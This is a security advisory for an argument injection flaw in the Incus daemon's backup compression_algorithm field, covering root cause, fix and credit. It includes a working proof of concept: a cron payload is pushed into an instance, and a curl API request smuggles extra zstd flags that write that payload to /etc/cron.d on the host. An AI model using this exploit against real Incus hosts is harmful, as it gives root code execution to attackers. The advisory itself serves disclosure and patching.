CVE-2026-48755: Incus Argument Injection in Backup Compression Leading to Arbitrary File Write and RCE
Incus allows a remote authenticated user to inject extra arguments into the backup compression command, letting them write arbitrary files on the host and potentially execute code as root.
The problem
The Incus daemon validates the `compression_algorithm` field on backup requests by splitting it with `shellquote.Split` and allowlisting only the first token. Extra tokens are never rejected.
`compressFile()` then prepends `-c` and passes all remaining user-supplied tokens directly to `exec.Command`. Any authenticated API client can therefore craft a value like `zstd -d -f --pass-through -o /etc/cron.d/backdoor -- /path/to/payload` and the daemon will execute it verbatim with host privileges, writing attacker-controlled content to any path writable by the incusd process.
Proof of concept
# 1. Stage a cron payload inside the instance
# (incus file push or the API file endpoint)
cat > /tmp/cron_payload.sh <<'EOF'
* * * * * root /bin/sh -c 'id > /incus-zstd-rce'
EOF
incus file push /tmp/cron_payload.sh c01/incus-zstd-cron
# 2. Trigger the backup with the injected compression_algorithm.
# incusd will execute:
# zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/storage-pools/default/containers/c01/rootfs/incus-zstd-cron
curl -sk \
--cert ~/.config/incus/client.crt \
--key ~/.config/incus/client.key \
-X POST https://remote-incus:8443/1.0/instances/c01/backups \
-H 'Content-Type: application/json' \
-d '{
"compression_algorithm": "zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/storage-pools/default/containers/c01/rootfs/incus-zstd-cron",
"instance_only": true
}'Root cause is CWE-88 (Argument Injection). The validator checks `fields[0]` against an allowlist but never asserts `len(fields) == 1`, so extra flags pass through unchecked.
`compressFile()` builds `args := []string{"-c"}` and then appends `fields[1:]` directly. Using `zstd --pass-through -o <dest>` redirects the stdin content to an arbitrary host path instead of stdout, turning a normal backup compression step into an arbitrary file write.
The 7.2.0 patch closes this by rejecting any `compression_algorithm` value whose parsed field count exceeds one, so only a bare binary name is accepted.
The fix
Upgrade to Incus 7.2.0 or apply the equivalent backport to your 6.x LTS branch. The fix ensures the validation step rejects any `compression_algorithm` value that parses to more than a single token, blocking all extra-argument injection. No workaround exists short of revoking API access from untrusted clients.
Reported by 7asecurity.